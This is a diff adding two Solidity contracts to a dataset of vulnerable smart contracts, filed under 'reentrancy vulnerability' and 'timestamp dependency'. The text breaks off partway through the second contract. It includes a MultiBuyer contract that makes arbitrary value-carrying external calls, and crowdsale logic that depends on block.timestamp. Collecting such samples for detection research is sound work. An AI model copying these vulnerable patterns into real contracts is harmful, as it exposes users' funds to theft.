0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/934.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10022.sol b/smart_contract_dataset/timestamp dependency/10022.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10022.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + 